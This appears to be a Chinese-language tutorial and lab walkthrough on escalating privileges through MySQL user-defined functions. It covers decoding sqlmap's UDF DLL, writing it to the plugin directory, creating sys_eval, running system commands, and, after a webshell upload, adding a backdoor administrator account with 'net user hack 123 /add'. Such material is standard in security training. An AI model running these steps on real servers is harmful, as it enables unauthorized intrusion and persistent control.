二、UDF提权
0、原理
UDF:用户自定义函数、通过添加新函数、对mysql进行功能扩充
官方定义:UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。 用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用利用MYSQL的自定义函数功能将Mysql账号转换为system权限。
假设我们的udf文件名是udf.dll,存放在mysql安装目录的lib/plugin(mysql>5.1,该目录是不存在的)
在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval(‘whoami’);的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。
看一下官方文档中的语法:
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'
上述语法含有两个变量:
1、function_name(函数名),引入的是sys_eval函数
2、共享函数包shared_library_name,udf.dll
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
udf:sqlmap/data/udf/mysql
sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_ sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_
sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令
python cloak.py -d -i C:\Users\BJernsen\Desktop\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函数
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
或者是在kali中/usr/share/metasploit-framework/data/exploits/mysql/
1、步骤
1、确定 secure_file_priv 的值
只有空值才可以提权
2、查看plugin的值
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1); 当plugin的值为空时不可提权 当plugin的值为mysql_native_password可通过账户连接提权
3、查看系统架构以及plugin目录
show variables like '%compile%'; //查看主机版本及框架 show variables like '%plugin%'; //查看plugin目录(udf.php中都有)
第三步就是为了看看我们需要32还是64的dll
4、将dll文件写入plugin目录,并且创建函数
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'
5、系统命令
在udf.dll文件写入plugin目录后,之后就可以使用sys_eval函数了
select * from mysql.func where name = 'sys_eval' // select sys_eval('whoami')
如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模块自动注入。
使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
缺点:
1、仍然需要创建路径
2、回显只有0/1
3、需要手动创建函数
2、实操
靶机环境:Windows Server 2003 、php 5.2.17 、 mysql 5.5.53
这里我们已经通过上传一句话木马拿到网站的shell了,并且得到了网站数据库的用户名和密码都是root。但是因为获得的系统用户权限太低,无法创建新用户。而且也不能使用其他提权等手段。所以,我们现在要做的就是使用UDF进行提权。
首先,我们把udf.php 两个文件上传到网站服务器
先创建目录点击Create PliuginDir
然后我们点击 Dump UDF ,提示Dump DLL Success !
然后我们点击 Create Function,下面就会有 select shell(‘cmd’,‘whoami’) ,然后我们点击 Mysql_query ,下面就会有whoami命令的执行结果
我们可以把命令换成 net user hack 123 /add ,新建一个用户,可以看到成功了!然后我们接下来吧hack用户添加到administrators管理员组内,就可以远程登录了!